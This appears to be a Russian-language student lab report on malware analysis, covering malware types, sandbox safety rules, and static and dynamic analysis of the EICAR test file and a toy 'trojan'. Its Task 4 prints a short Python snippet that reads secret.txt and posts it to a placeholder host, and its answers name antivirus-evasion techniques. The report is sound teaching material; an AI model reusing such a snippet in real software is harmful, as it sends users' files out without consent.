**Теоретическая часть**

**1. Что такое вредоносное ПО (вирусы, трояны, вымогатели)? Принцип работы**

**Вредоносное ПО (ВПО, malware)** — программы, созданные для нанесения ущерба, кражи данных или несанкционированного доступа.

* **Вирусы** – заражают файлы, распространяются через исполняемые файлы.
* **Трояны** – маскируются под легитимные программы, крадут данные или открывают бэкдоры.
* **Вымогатели (Ransomware)** – шифруют файлы и требуют выкуп.

**2. Принципы анализа вредоносного ПО**

* **Статический анализ** – изучение кода без запуска (декомпиляция, поиск строк, сигнатур).
* **Динамический анализ** – запуск в изолированной среде (песочнице) и мониторинг поведения.

**3. Правила безопасности при исследовании ВПО**

* Использовать **изолированные среды** (виртуальные машины).
* Отключать **интернет и общие папки**.
* Запрещать **автозапуск** образцов.
* Работать в **ограниченной учётной записи**.

**Практические задания**

**Задача 1: Подготовка среды**

1. Установить **Windows 10 на VirtualBox**.
2. Установить инструменты:
   * **FakeNet-NG** (имитация сети)
   * **Process Monitor** (мониторинг процессов)
   * **Ghidra** (статический анализ)
3. Отключить **сеть в настройках VirtualBox**.

**Задача 2: Анализ EICAR-образца**

**Файл:** eicar.com (тестовый, не вредоносный).

**1. Статический анализ в Ghidra:**

* Открыть файл → найти строку EICAR-STANDARD-ANTIVIRUS-TEST-FILE.
* **Вывод:** Программа не выполняет вредоносных действий, только выводит текст.

**2. Динамический анализ с FakeNet:**

* Запустить fakenet.exe -d . → запустить eicar.com.
* **Логи FakeNet:** Сетевых запросов нет.

**Задача 3: Анализ поведения EICAR**

1. В **Process Monitor** установить фильтры:
   * Process Name = eicar.com
   * Operation = CreateFile, RegSetValue
2. Запустить eicar.com и проверить:
   * **Создание файлов:** Нет.
   * **Изменение реестра:** Нет.
   * **Сетевые запросы:** Нет.

**Вывод:** Безопасный тестовый файл.

**Задача 4: Исследование "трояна" (game.exe)**

**Код (Python-аналог):**

python

Copy

Download

import os, requests

if os.path.exists("C:\\secret.txt"):

requests.post("http://example.com", data=open("secret.txt").read())

else:

print("Game started!!")

**1. Статический анализ в Ghidra:**

* Найти строку example.com → обнаружить функцию чтения файлов.

**2. Динамический анализ (ProcMon):**

* Проверить **чтение secret.txt** и **подключение к example.com**.

**Вывод:** Программа пытается отправить данные из secret.txt на удалённый сервер.

**Отчёт**

**1. Таблица результатов**

| **Образец** | **Создает файлы** | **Меняет реестр** | **Сетевые запросы** |
| --- | --- | --- | --- |
| eicar.com | Нет | Нет | Нет |
| game.exe | Да (secret.txt) | Нет | Да (example.com) |

**2. Ответы на вопросы**

1. **Признаки вредоносного поведения:**
   * Чтение конфиденциальных файлов (secret.txt).
   * Отправка данных на внешний сервер (example.com).
2. **Почему EICAR безопасен?**
   * Это **тестовый файл**, не выполняющий вредоносных действий.
3. **Как FakeNet помогает?**
   * Имитирует сеть, перехватывает запросы, не давая ВПО подключиться к реальным серверам.
4. **Типы ВПО:**
   * Вирусы, трояны, черви, руткиты, ransomware, spyware.
5. **Цели анализа:**
   * Понимание функционала, выявление угроз, разработка защиты.
6. **Разница статического и динамического анализа:**
   * **Статический:** Без запуска (декомпиляция, строки).
   * **Динамический:** С запуском (мониторинг поведения).
7. **Инструменты статического анализа:**
   * **Ghidra, IDA Pro** – декомпиляция, поиск сигнатур.
8. **Обфускация во вредоносах:**
   * Усложняет анализ (шифрование строк, запутывание кода).
9. **Признаки ВПО:**
   * Подозрительные строки (http://, secret.txt).
   * Изменение реестра, создание файлов.
10. **Песочница (sandbox):**
    * Изолированная среда для безопасного запуска ВПО.
11. **Обход антивирусов:**
    * Полиморфизм, упаковка, инжектирование в легитимные процессы.
12. **Инъекция кода:**
    * Внедрение вредоносного кода в работающие процессы (DLL-инжекция).
13. **Этапы динамического анализа:**
    * Запуск → мониторинг (файлы, реестр, сеть) → анализ логов.
14. **Данные статического анализа:**
    * Импорты, строки, сигнатуры, алгоритмы.
15. **Изучение поведения для защиты:**
    * Помогает создавать сигнатуры, патчить уязвимости.
16. **Сценарии использования ВПО:**
    * Кража данных, DDoS, шпионаж, вымогательство.
17. **Обратная разработка (Reverse Engineering):**
    * Анализ бинарного кода для восстановления логики.
18. **Риски анализа в реальной среде:**
    * Заражение системы, утечка данных.
19. **Меры предосторожности:**
    * Виртуализация, отключение сети, использование инструментов (FakeNet).
20. **Анализ для расследований:**
    * Определение источника атаки, тактик злоумышленников.
21. **Этические аспекты:**
    * Использовать знания только в легальных целях (белый хакинг).

**Вывод**

* **EICAR** – безопасный тестовый файл.
* **Game.exe** – демонстрирует поведение трояна (кража данных).
* **Инструменты:** Ghidra (статический анализ), ProcMon (динамический), FakeNet (сеть).
* **Безопасность:** Виртуализация, изоляция, мониторинг.